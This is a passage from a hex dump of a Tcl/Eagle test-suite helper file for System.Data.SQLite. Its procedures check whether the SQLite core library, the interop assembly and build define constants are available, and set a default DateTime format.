6f kipping check fo e0a0: 72 20 72 65 6c 65 61 73 65 73 2e 2e 2e 5c 6e 22 r releases...\n" e0b0: 5d 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 ].. }.... e0c0: 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 return false e0d0: 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 .. }..... e0e0: 70 72 6f 63 20 63 68 65 63 6b 46 6f 72 53 51 4c proc checkForSQL e0f0: 69 74 65 4c 69 62 72 61 72 79 20 7b 20 63 68 61 iteLibrary { cha e100: 6e 6e 65 6c 20 7d 20 7b 0d 0a 20 20 20 20 20 20 nnel } {.. e110: 74 70 75 74 73 20 24 63 68 61 6e 6e 65 6c 20 22 tputs $channel " e120: 2d 2d 2d 2d 20 63 68 65 63 6b 69 6e 67 20 66 6f ---- checking fo e130: 72 20 53 51 4c 69 74 65 20 63 6f 72 65 20 6c 69 r SQLite core li e140: 62 72 61 72 79 2e 2e 2e 20 22 0d 0a 0d 0a 20 20 brary... ".... e150: 20 20 20 20 69 66 20 7b 5b 63 61 74 63 68 20 7b if {[catch { e160: 0d 0a 20 20 20 20 20 20 20 20 6f 62 6a 65 63 74 .. object e170: 20 69 6e 76 6f 6b 65 20 2d 66 6c 61 67 73 20 2b invoke -flags + e180: 4e 6f 6e 50 75 62 6c 69 63 20 5c 0d 0a 20 20 20 NonPublic \.. e190: 20 20 20 20 20 20 20 20 20 53 79 73 74 65 6d 2e System. e1a0: 44 61 74 61 2e 53 51 4c 69 74 65 2e 53 51 4c 69 Data.SQLite.SQLi e1b0: 74 65 33 20 53 51 4c 69 74 65 56 65 72 73 69 6f te3 SQLiteVersio e1c0: 6e 0d 0a 20 20 20 20 20 20 7d 20 76 65 72 73 69 n.. } versi e1d0: 6f 6e 5d 20 3d 3d 20 30 7d 20 74 68 65 6e 20 7b on] == 0} then { e1e0: 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 .. #.. e1f0: 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 43 68 65 # NOTE: Che e200: 63 6b 20 69 66 20 74 68 65 20 72 65 74 75 72 6e ck if the return e210: 65 64 20 76 65 72 73 69 6f 6e 20 77 61 73 20 6e ed version was n e220: 75 6c 6c 2e 20 20 49 66 20 73 6f 2c 20 6d 61 6b ull. If so, mak e230: 65 20 69 74 20 65 61 73 79 0d 0a 20 20 20 20 20 e it easy.. e240: 20 20 20 23 20 20 20 20 20 20 20 74 6f 20 73 70 # to sp e250: 6f 74 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a ot... #.. e260: 20 20 20 20 20 20 20 20 69 66 20 7b 5b 73 74 72 if {[str e270: 69 6e 67 20 6c 65 6e 67 74 68 20 24 76 65 72 73 ing length$vers e280: 69 6f 6e 5d 20 3d 3d 20 30 7d 20 74 68 65 6e 20 ion] == 0} then e290: 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 73 65 74 {.. set e2a0: 20 76 65 72 73 69 6f 6e 20 6e 75 6c 6c 0d 0a 20 version null.. e2b0: 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 }.... e2c0: 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 23 #.. # e2d0: 20 4e 4f 54 45 3a 20 41 74 74 65 6d 70 74 20 74 NOTE: Attempt t e2e0: 6f 20 71 75 65 72 79 20 74 68 65 20 46 6f 73 73 o query the Foss e2f0: 69 6c 20 73 6f 75 72 63 65 20 69 64 65 6e 74 69 il source identi e300: 66 69 65 72 20 66 6f 72 20 74 68 65 20 53 51 4c fier for the SQL e310: 69 74 65 0d 0a 20 20 20 20 20 20 20 20 23 20 20 ite.. # e320: 20 20 20 20 20 63 6f 72 65 20 6c 69 62 72 61 72 core librar e330: 79 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 y... #.. e340: 20 20 20 20 20 20 20 69 66 20 7b 5b 63 61 74 63 if {[catc e350: 68 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 6f h {.. o e360: 62 6a 65 63 74 20 69 6e 76 6f 6b 65 20 2d 66 6c bject invoke -fl e370: 61 67 73 20 2b 4e 6f 6e 50 75 62 6c 69 63 20 5c ags +NonPublic \ e380: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. e390: 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 51 4c 69 System.Data.SQLi e3a0: 74 65 2e 53 51 4c 69 74 65 33 20 53 51 4c 69 74 te.SQLite3 SQLit e3b0: 65 53 6f 75 72 63 65 49 64 0d 0a 20 20 20 20 20 eSourceId.. e3c0: 20 20 20 7d 20 73 6f 75 72 63 65 49 64 5d 7d 20 } sourceId]} e3d0: 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 then {.. e3e0: 20 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 23 #.. # e3f0: 20 4e 4f 54 45 3a 20 57 65 20 66 61 69 6c 65 64 NOTE: We failed e400: 20 74 6f 20 71 75 65 72 79 20 74 68 65 20 46 6f to query the Fo e410: 73 73 69 6c 20 73 6f 75 72 63 65 20 69 64 65 6e ssil source iden e420: 74 69 66 69 65 72 2e 0d 0a 20 20 20 20 20 20 20 tifier... e430: 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 #.. e440: 73 65 74 20 73 6f 75 72 63 65 49 64 20 75 6e 6b set sourceId unk e450: 6e 6f 77 6e 0d 0a 20 20 20 20 20 20 20 20 7d 0d nown.. }. e460: 0a 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 ... #.. e470: 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 43 68 # NOTE: Ch e480: 65 63 6b 20 69 66 20 74 68 65 20 72 65 74 75 72 eck if the retur e490: 6e 65 64 20 46 6f 73 73 69 6c 20 73 6f 75 72 63 ned Fossil sourc e4a0: 65 20 69 64 65 6e 74 69 66 69 65 72 20 77 61 73 e identifier was e4b0: 20 6e 75 6c 6c 2e 20 20 49 66 0d 0a 20 20 20 20 null. If.. e4c0: 20 20 20 20 23 20 20 20 20 20 20 20 73 6f 2c 20 # so, e4d0: 6d 61 6b 65 20 69 74 20 65 61 73 79 20 74 6f 20 make it easy to e4e0: 73 70 6f 74 2e 0d 0a 20 20 20 20 20 20 20 20 23 spot... # e4f0: 0d 0a 20 20 20 20 20 20 20 20 69 66 20 7b 5b 73 .. if {[s e500: 74 72 69 6e 67 20 6c 65 6e 67 74 68 20 24 73 6f tring length $so e510: 75 72 63 65 49 64 5d 20 3d 3d 20 30 7d 20 74 68 urceId] == 0} th e520: 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 en {.. e530: 73 65 74 20 73 6f 75 72 63 65 49 64 20 6e 75 6c set sourceId nul e540: 6c 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a l.. }.... e550: 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 #.. e560: 20 20 20 23 20 4e 4f 54 45 3a 20 59 65 73 2c 20 # NOTE: Yes, e570: 74 68 65 20 53 51 4c 69 74 65 20 63 6f 72 65 20 the SQLite core e580: 6c 69 62 72 61 72 79 20 61 70 70 65 61 72 73 20 library appears e590: 74 6f 20 62 65 20 61 76 61 69 6c 61 62 6c 65 2e to be available. e5a0: 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 .. #.. e5b0: 20 20 20 20 20 61 64 64 43 6f 6e 73 74 72 61 69 addConstrai e5c0: 6e 74 20 53 51 4c 69 74 65 0d 0a 0d 0a 20 20 20 nt SQLite.... e5d0: 20 20 20 20 20 74 70 75 74 73 20 24 63 68 61 6e tputs$chan e5e0: 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 20 nel [appendArgs e5f0: 22 79 65 73 20 28 22 20 24 76 65 72 73 69 6f 6e "yes (" $version e600: 20 22 20 22 20 24 73 6f 75 72 63 65 49 64 20 22 " "$sourceId " e610: 29 5c 6e 22 5d 0d 0a 20 20 20 20 20 20 7d 20 65 )\n"].. } e e620: 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 74 lse {.. t e630: 70 75 74 73 20 24 63 68 61 6e 6e 65 6c 20 6e 6f puts $channel no e640: 5c 6e 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 20 20 \n.. }.. e650: 20 7d 0d 0a 0c 0d 0a 20 20 20 20 70 72 6f 63 20 }..... proc e660: 63 68 65 63 6b 46 6f 72 53 51 4c 69 74 65 49 6e checkForSQLiteIn e670: 74 65 72 6f 70 20 7b 20 63 68 61 6e 6e 65 6c 20 terop { channel e680: 7d 20 7b 0d 0a 20 20 20 20 20 20 74 70 75 74 73 } {.. tputs e690: 20 24 63 68 61 6e 6e 65 6c 20 22 2d 2d 2d 2d 20$channel "---- e6a0: 63 68 65 63 6b 69 6e 67 20 66 6f 72 20 53 51 4c checking for SQL e6b0: 69 74 65 20 69 6e 74 65 72 6f 70 20 61 73 73 65 ite interop asse e6c0: 6d 62 6c 79 2e 2e 2e 20 22 0d 0a 0d 0a 20 20 20 mbly... ".... e6d0: 20 20 20 69 66 20 7b 5b 63 61 74 63 68 20 7b 0d if {[catch {. e6e0: 0a 20 20 20 20 20 20 20 20 6f 62 6a 65 63 74 20 . object e6f0: 69 6e 76 6f 6b 65 20 2d 66 6c 61 67 73 20 2b 4e invoke -flags +N e700: 6f 6e 50 75 62 6c 69 63 20 5c 0d 0a 20 20 20 20 onPublic \.. e710: 20 20 20 20 20 20 20 20 53 79 73 74 65 6d 2e 44 System.D e720: 61 74 61 2e 53 51 4c 69 74 65 2e 53 51 4c 69 74 ata.SQLite.SQLit e730: 65 33 20 49 6e 74 65 72 6f 70 56 65 72 73 69 6f e3 InteropVersio e740: 6e 0d 0a 20 20 20 20 20 20 7d 20 76 65 72 73 69 n.. } versi e750: 6f 6e 5d 20 3d 3d 20 30 7d 20 74 68 65 6e 20 7b on] == 0} then { e760: 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 .. #.. e770: 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 43 68 65 # NOTE: Che e780: 63 6b 20 69 66 20 74 68 65 20 72 65 74 75 72 6e ck if the return e790: 65 64 20 76 65 72 73 69 6f 6e 20 77 61 73 20 6e ed version was n e7a0: 75 6c 6c 2e 20 20 49 66 20 73 6f 2c 20 6d 61 6b ull. If so, mak e7b0: 65 20 69 74 20 65 61 73 79 0d 0a 20 20 20 20 20 e it easy.. e7c0: 20 20 20 23 20 20 20 20 20 20 20 74 6f 20 73 70 # to sp e7d0: 6f 74 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a ot... #.. e7e0: 20 20 20 20 20 20 20 20 69 66 20 7b 5b 73 74 72 if {[str e7f0: 69 6e 67 20 6c 65 6e 67 74 68 20 24 76 65 72 73 ing length $vers e800: 69 6f 6e 5d 20 3d 3d 20 30 7d 20 74 68 65 6e 20 ion] == 0} then e810: 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 73 65 74 {.. set e820: 20 76 65 72 73 69 6f 6e 20 6e 75 6c 6c 0d 0a 20 version null.. e830: 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 }.... e840: 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 23 #.. # e850: 20 4e 4f 54 45 3a 20 41 74 74 65 6d 70 74 20 74 NOTE: Attempt t e860: 6f 20 71 75 65 72 79 20 74 68 65 20 46 6f 73 73 o query the Foss e870: 69 6c 20 73 6f 75 72 63 65 20 69 64 65 6e 74 69 il source identi e880: 66 69 65 72 20 66 6f 72 20 74 68 65 20 53 51 4c fier for the SQL e890: 69 74 65 0d 0a 20 20 20 20 20 20 20 20 23 20 20 ite.. # e8a0: 20 20 20 20 20 63 6f 72 65 20 6c 69 62 72 61 72 core librar e8b0: 79 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 y... #.. e8c0: 20 20 20 20 20 20 20 69 66 20 7b 5b 63 61 74 63 if {[catc e8d0: 68 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 6f h {.. o e8e0: 62 6a 65 63 74 20 69 6e 76 6f 6b 65 20 2d 66 6c bject invoke -fl e8f0: 61 67 73 20 2b 4e 6f 6e 50 75 62 6c 69 63 20 5c ags +NonPublic \ e900: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. e910: 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 51 4c 69 System.Data.SQLi e920: 74 65 2e 53 51 4c 69 74 65 33 20 49 6e 74 65 72 te.SQLite3 Inter e930: 6f 70 53 6f 75 72 63 65 49 64 0d 0a 20 20 20 20 opSourceId.. e940: 20 20 20 20 7d 20 73 6f 75 72 63 65 49 64 5d 7d } sourceId]} e950: 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 then {.. e960: 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 #.. e970: 23 20 4e 4f 54 45 3a 20 57 65 20 66 61 69 6c 65 # NOTE: We faile e980: 64 20 74 6f 20 71 75 65 72 79 20 74 68 65 20 46 d to query the F e990: 6f 73 73 69 6c 20 73 6f 75 72 63 65 20 69 64 65 ossil source ide e9a0: 6e 74 69 66 69 65 72 2e 0d 0a 20 20 20 20 20 20 ntifier... e9b0: 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 20 #.. e9c0: 20 73 65 74 20 73 6f 75 72 63 65 49 64 20 75 6e set sourceId un e9d0: 6b 6e 6f 77 6e 0d 0a 20 20 20 20 20 20 20 20 7d known.. } e9e0: 0d 0a 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 .... #.. e9f0: 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 43 # NOTE: C ea00: 68 65 63 6b 20 69 66 20 74 68 65 20 72 65 74 75 heck if the retu ea10: 72 6e 65 64 20 46 6f 73 73 69 6c 20 73 6f 75 72 rned Fossil sour ea20: 63 65 20 69 64 65 6e 74 69 66 69 65 72 20 77 61 ce identifier wa ea30: 73 20 6e 75 6c 6c 2e 20 20 49 66 0d 0a 20 20 20 s null. If.. ea40: 20 20 20 20 20 23 20 20 20 20 20 20 20 73 6f 2c # so, ea50: 20 6d 61 6b 65 20 69 74 20 65 61 73 79 20 74 6f make it easy to ea60: 20 73 70 6f 74 2e 0d 0a 20 20 20 20 20 20 20 20 spot... ea70: 23 0d 0a 20 20 20 20 20 20 20 20 69 66 20 7b 5b #.. if {[ ea80: 73 74 72 69 6e 67 20 6c 65 6e 67 74 68 20 24 73 string length$s ea90: 6f 75 72 63 65 49 64 5d 20 3d 3d 20 30 7d 20 74 ourceId] == 0} t eaa0: 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 hen {.. eab0: 20 73 65 74 20 73 6f 75 72 63 65 49 64 20 6e 75 set sourceId nu eac0: 6c 6c 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d ll.. }... ead0: 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 . #.. eae0: 20 20 20 20 23 20 4e 4f 54 45 3a 20 42 65 66 6f # NOTE: Befo eaf0: 72 65 20 61 63 74 75 61 6c 6c 79 20 61 64 64 69 re actually addi eb00: 6e 67 20 74 68 65 20 74 65 73 74 20 63 6f 6e 73 ng the test cons eb10: 74 72 61 69 6e 74 2c 20 6d 61 6b 65 20 73 75 72 traint, make sur eb20: 65 20 74 68 65 0d 0a 20 20 20 20 20 20 20 20 23 e the.. # eb30: 20 20 20 20 20 20 20 76 65 72 73 69 6f 6e 20 69 version i eb40: 73 20 76 61 6c 69 64 20 28 69 2e 65 2e 20 6e 6f s valid (i.e. no eb50: 74 20 6a 75 73 74 20 74 68 61 74 20 77 65 20 63 t just that we c eb60: 6f 75 6c 64 20 71 75 65 72 79 20 69 74 29 2e 0d ould query it).. eb70: 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 . #.. eb80: 20 20 20 20 69 66 20 7b 24 76 65 72 73 69 6f 6e if {$version eb90: 20 6e 65 20 22 6e 75 6c 6c 22 7d 20 74 68 65 6e ne "null"} then eba0: 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 23 0d {.. #. ebb0: 0a 20 20 20 20 20 20 20 20 20 20 23 20 4e 4f 54 . # NOT ebc0: 45 3a 20 59 65 73 2c 20 74 68 65 20 53 51 4c 69 E: Yes, the SQLi ebd0: 74 65 20 69 6e 74 65 72 6f 70 20 61 73 73 65 6d te interop assem ebe0: 62 6c 79 20 61 70 70 65 61 72 73 20 74 6f 20 62 bly appears to b ebf0: 65 20 61 76 61 69 6c 61 62 6c 65 2e 0d 0a 20 20 e available... ec00: 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 #.. ec10: 20 20 20 20 20 61 64 64 43 6f 6e 73 74 72 61 69 addConstrai ec20: 6e 74 20 53 51 4c 69 74 65 49 6e 74 65 72 6f 70 nt SQLiteInterop ec30: 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 73 65 .... se ec40: 74 20 61 6e 73 77 65 72 20 79 65 73 0d 0a 20 20 t answer yes.. ec50: 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a } else {.. ec60: 20 20 20 20 20 20 20 20 20 20 73 65 74 20 61 6e set an ec70: 73 77 65 72 20 6e 6f 0d 0a 20 20 20 20 20 20 20 swer no.. ec80: 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 74 70 }.... tp ec90: 75 74 73 20 24 63 68 61 6e 6e 65 6c 20 5b 61 70 uts$channel [ap eca0: 70 65 6e 64 41 72 67 73 20 24 61 6e 73 77 65 72 pendArgs $answer ecb0: 20 22 20 28 22 20 24 76 65 72 73 69 6f 6e 20 22 " ("$version " ecc0: 20 22 20 24 73 6f 75 72 63 65 49 64 20 22 29 5c " $sourceId ")\ ecd0: 6e 22 5d 0d 0a 20 20 20 20 20 20 7d 20 65 6c 73 n"].. } els ece0: 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 74 70 75 e {.. tpu ecf0: 74 73 20 24 63 68 61 6e 6e 65 6c 20 6e 6f 5c 6e ts$channel no\n ed00: 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 7d .. }.. } ed10: 0d 0a 0c 0d 0a 20 20 20 20 70 72 6f 63 20 63 68 ..... proc ch ed20: 65 63 6b 46 6f 72 53 51 4c 69 74 65 44 65 66 69 eckForSQLiteDefi ed30: 6e 65 43 6f 6e 73 74 61 6e 74 20 7b 20 63 68 61 neConstant { cha ed40: 6e 6e 65 6c 20 6e 61 6d 65 20 7d 20 7b 0d 0a 20 nnel name } {.. ed50: 20 20 20 20 20 74 70 75 74 73 20 24 63 68 61 6e tputs $chan ed60: 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 20 nel [appendArgs ed70: 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 22 2d 2d \.. "-- ed80: 2d 2d 20 63 68 65 63 6b 69 6e 67 20 66 6f 72 20 -- checking for ed90: 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 51 4c 69 System.Data.SQLi eda0: 74 65 20 64 65 66 69 6e 65 20 63 6f 6e 73 74 61 te define consta edb0: 6e 74 20 5c 22 22 20 24 6e 61 6d 65 20 5c 0d 0a nt \""$name \.. edc0: 20 20 20 20 20 20 20 20 20 20 22 5c 22 2e 2e 2e "\"... edd0: 20 22 5d 0d 0a 0d 0a 20 20 20 20 20 20 69 66 20 "].... if ede0: 7b 5b 63 61 74 63 68 20 7b 0d 0a 20 20 20 20 20 {[catch {.. edf0: 20 20 20 6f 62 6a 65 63 74 20 69 6e 76 6f 6b 65 object invoke ee00: 20 2d 66 6c 61 67 73 20 2b 4e 6f 6e 50 75 62 6c -flags +NonPubl ee10: 69 63 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 ic \.. ee20: 20 20 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 51 System.Data.SQ ee30: 4c 69 74 65 2e 53 51 4c 69 74 65 33 20 44 65 66 Lite.SQLite3 Def ee40: 69 6e 65 43 6f 6e 73 74 61 6e 74 73 0d 0a 20 20 ineConstants.. ee50: 20 20 20 20 7d 20 64 65 66 69 6e 65 43 6f 6e 73 } defineCons ee60: 74 61 6e 74 73 5d 20 3d 3d 20 30 7d 20 74 68 65 tants] == 0} the ee70: 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 69 66 20 n {.. if ee80: 7b 5b 6c 73 65 61 72 63 68 20 2d 65 78 61 63 74 {[lsearch -exact ee90: 20 2d 6e 6f 63 61 73 65 20 24 64 65 66 69 6e 65 -nocase $define eea0: 43 6f 6e 73 74 61 6e 74 73 20 24 6e 61 6d 65 5d Constants$name] eeb0: 20 21 3d 20 2d 31 7d 20 74 68 65 6e 20 7b 0d 0a != -1} then {.. eec0: 20 20 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 #.. eed0: 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 59 # NOTE: Y eee0: 65 73 2c 20 74 68 69 73 20 64 65 66 69 6e 65 20 es, this define eef0: 63 6f 6e 73 74 61 6e 74 20 77 61 73 20 65 6e 61 constant was ena ef00: 62 6c 65 64 20 77 68 65 6e 20 74 68 65 20 6d 61 bled when the ma ef10: 6e 61 67 65 64 0d 0a 20 20 20 20 20 20 20 20 20 naged.. ef20: 20 23 20 20 20 20 20 20 20 61 73 73 65 6d 62 6c # assembl ef30: 79 20 77 61 73 20 63 6f 6d 70 69 6c 65 64 2e 0d y was compiled.. ef40: 0a 20 20 20 20 20 20 20 20 20 20 23 0d 0a 20 20 . #.. ef50: 20 20 20 20 20 20 20 20 61 64 64 43 6f 6e 73 74 addConst ef60: 72 61 69 6e 74 20 5b 61 70 70 65 6e 64 41 72 67 raint [appendArg ef70: 73 20 64 65 66 69 6e 65 43 6f 6e 73 74 61 6e 74 s defineConstant ef80: 2e 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 51 4c .System.Data.SQL ef90: 69 74 65 2e 20 24 6e 61 6d 65 5d 0d 0a 0d 0a 20 ite. $name].... efa0: 20 20 20 20 20 20 20 20 20 74 70 75 74 73 20 24 tputs$ efb0: 63 68 61 6e 6e 65 6c 20 79 65 73 5c 6e 0d 0a 20 channel yes\n.. efc0: 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d } else {. efd0: 0a 20 20 20 20 20 20 20 20 20 20 74 70 75 74 73 . tputs efe0: 20 24 63 68 61 6e 6e 65 6c 20 6e 6f 5c 6e 0d 0a $channel no\n.. eff0: 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 }.. f000: 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 } else {.. f010: 20 20 20 74 70 75 74 73 20 24 63 68 61 6e 6e 65 tputs$channe f020: 6c 20 65 72 72 6f 72 5c 6e 0d 0a 20 20 20 20 20 l error\n.. f030: 20 7d 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 }.. }..... f040: 20 20 70 72 6f 63 20 67 65 74 44 61 74 65 54 69 proc getDateTi f050: 6d 65 46 6f 72 6d 61 74 20 7b 7d 20 7b 0d 0a 20 meFormat {} {.. f060: 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 23 20 #.. # f070: 4e 4f 54 45 3a 20 54 68 69 73 20 70 72 6f 63 65 NOTE: This proce f080: 64 75 72 65 20 73 69 6d 70 6c 79 20 72 65 74 75 dure simply retu f090: 72 6e 73 20 74 68 65 20 22 64 65 66 61 75 6c 74 rns the "default f0a0: 22 20 44 61 74 65 54 69 6d 65 20 66 6f 72 6d 61 " DateTime forma f0b0: 74 20 75 73 65 64 0d 0a 20 20 20 20 20 20 23 20 t used.. # f0c0: 20 20 20 20 20 20 62 79 20 74 68 65 20 74 65 73 by the tes f0d0: 74 20 73 75 69 74 65 2e 0d 0a 20 20 20 20 20 20 t suite... f0e0: 23 0d 0a 20 20 20 20 20 20 69 66 20 7b 5b 69 6e #.. if {[in f0f0: 66 6f 20 65 78 69 73 74 73 20 3a 3a 64 61 74 65 fo exists ::date f100: 74 69 6d 65 5f 66 6f 72 6d 61 74 5d 20 26 26 20 time_format] && f110: 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 5b 73 74 \.. [st f120: 72 69 6e 67 20 6c 65 6e 67 74 68 20 24 3a 3a 64 ring length $::d f130: 61 74 65 74 69 6d 65 5f 66 6f 72 6d 61 74 5d 20 atetime_format] f140: 3e 20 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 > 0} then {.. f150: 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 #.. f160: 23 20 4e 4f 54 45 3a 20 52 65 74 75 72 6e 20 74 # NOTE: Return t f170: 68 65 20 6d 61 6e 75 61 6c 6c 79 20 6f 76 65 72 he manually over f180: 72 69 64 64 65 6e 20 76 61 6c 75 65 20 66 6f 72 ridden value for f190: 20 74 68 65 20 44 61 74 65 54 69 6d 65 20 66 6f the DateTime fo f1a0: 72 6d 61 74 2e 0d 0a 20 20 20 20 20 20 20 20 23 rmat... # f1b0: 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e .. return f1c0: 20 24 3a 3a 64 61 74 65 74 69 6d 65 5f 66 6f 72$::datetime_for f1d0: 6d 61 74 0d 0a 20 20 20 20 20 20 7d 20 65 6c 73 mat.. } els f1e0: 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a e {.. #.. f1f0: 20 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 # NOTE: f200: 52 65 74 75 72 6e 20 61 6e 20 49 53 4f 38 36 30 Return an ISO860 f210: 31 20 44 61 74 65 54 69 6d 65 20 66 6f 72 6d 61 1 DateTime forma f220: 74 20 63 6f 6d 70 61 74 69 62 6c 65 20 77 69 74 t compatible wit f230: 68 20 53 51 4c 69 74 65 2c 0d 0a 20 20 20 20 20 h SQLite,.. f240: 20 20 20 23 20 20 20 20 20 20 20 53 79 73 74 65 # Syste f250: 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 2c 20 61 m.Data.SQLite, a f260: 6e 64 20 73 75 69 74 61 62 6c 65 20 66 6f 72 20 nd suitable for f270: 72 6f 75 6e 64 2d 74 72 69 70 70 69 6e 67 20 77 round-tripping w f280: 69 74 68 20 74 68 65 0d 0a 20 20 20 20 20 20 20 ith the.. f290: 20 23 20 20 20 20 20 20 20 44 61 74 65 54 69 6d # DateTim f2a0: 65 20 63 6c 61 73 73 20 6f 66 20 74 68 65 20 66 e class of the f f2b0: 72 61 6d 65 77 6f 72 6b 2e 20 20 49 66 20 74 68 ramework. If th f2c0: 69 73 20 76 61 6c 75 65 20 69 73 20 63 68 61 6e is value is chan f2d0: 67 65 64 2c 0d 0a 20 20 20 20 20 20 20 20 23 20 ged,.. # f2e0: 20 20 20 20 20 20 76 61 72 69 6f 75 73 20 74 65 various te f2f0: 73 74 73 20 6d 61 79 20 66 61 69 6c 2e 0d 0a 20 sts may fail... f300: 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 #.. f310: 20 20 72 65 74 75 72 6e 20 22 79 79 79 79 2d 4d return "yyyy-M f320: 4d 2d 64 64 20 48 48 3a 6d 6d 3a 73 73 2e 46 46 M-dd HH:mm:ss.FF f330: 46 46 46 46 46 4b 22 0d 0a 20 20 20 20 20 20 7d FFFFFK".. } f340: 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 .. }..... f350: 70 72 6f 63 20 65 6e 75 6d 65 72 61 62 6c 65 54 proc enumerableT f360: 6f 4c 69 73 74 20 7b 20 65 6e 75 6d 65 72 61 62 oList { enumerab f370: 6c 65 20 7d 20 7b 0d 0a 20 20 20 20 20 20 73 65 le } {.. se f380: 74 20 72 65 73 75 6c 74 20 5b 6c 69 73 74 5d 0d t result [list]. f390: 0a 0d 0a 20 20 20 20 20 20 69 66 20 7b 5b 73 74 ... if {[st f3a0: 72 69 6e 67 20 6c 65 6e 67 74 68 20 24 65 6e 75 ring length $enu f3b0: 6d 65 72 61 62 6c 65 5d 20 3d 3d 20 30 20 7c 7c merable] == 0 || f3c0: 20 24 65 6e 75 6d 65 72 61 62 6c 65 20 65 71 20$enumerable eq f3d0: 22 6e 75 6c 6c 22 7d 20 74 68 65 6e 20 7b 0d 0a "null"} then {.. f3e0: 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 24 return $f3f0: 72 65 73 75 6c 74 0d 0a 20 20 20 20 20 20 7d 0d result.. }. f400: 0a 0d 0a 20 20 20 20 20 20 6f 62 6a 65 63 74 20 ... object f410: 66 6f 72 65 61 63 68 20 2d 61 6c 69 61 73 20 69 foreach -alias i f420: 74 65 6d 20 24 65 6e 75 6d 65 72 61 62 6c 65 20 tem$enumerable f430: 7b 0d 0a 20 20 20 20 20 20 20 20 69 66 20 7b 5b {.. if {[ f440: 73 74 72 69 6e 67 20 6c 65 6e 67 74 68 20 24 69 string length $i f450: 74 65 6d 5d 20 3e 20 30 7d 20 74 68 65 6e 20 7b tem] > 0} then { f460: 0d 0a 20 20 20 20 20 20 20 20 20 20 6c 61 70 70 .. lapp f470: 65 6e 64 20 72 65 73 75 6c 74 20 5b 24 69 74 65 end result [$ite f480: 6d 20 54 6f 53 74 72 69 6e 67 5d 0d 0a 20 20 20 m ToString].. f490: 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 7d 0d }.. }. f4a0: 0a 0d 0a 20 20 20 20 20 20 72 65 74 75 72 6e 20 ... return f4b0: 24 72 65 73 75 6c 74 0d 0a 20 20 20 20 7d 0d 0a $result.. }.. 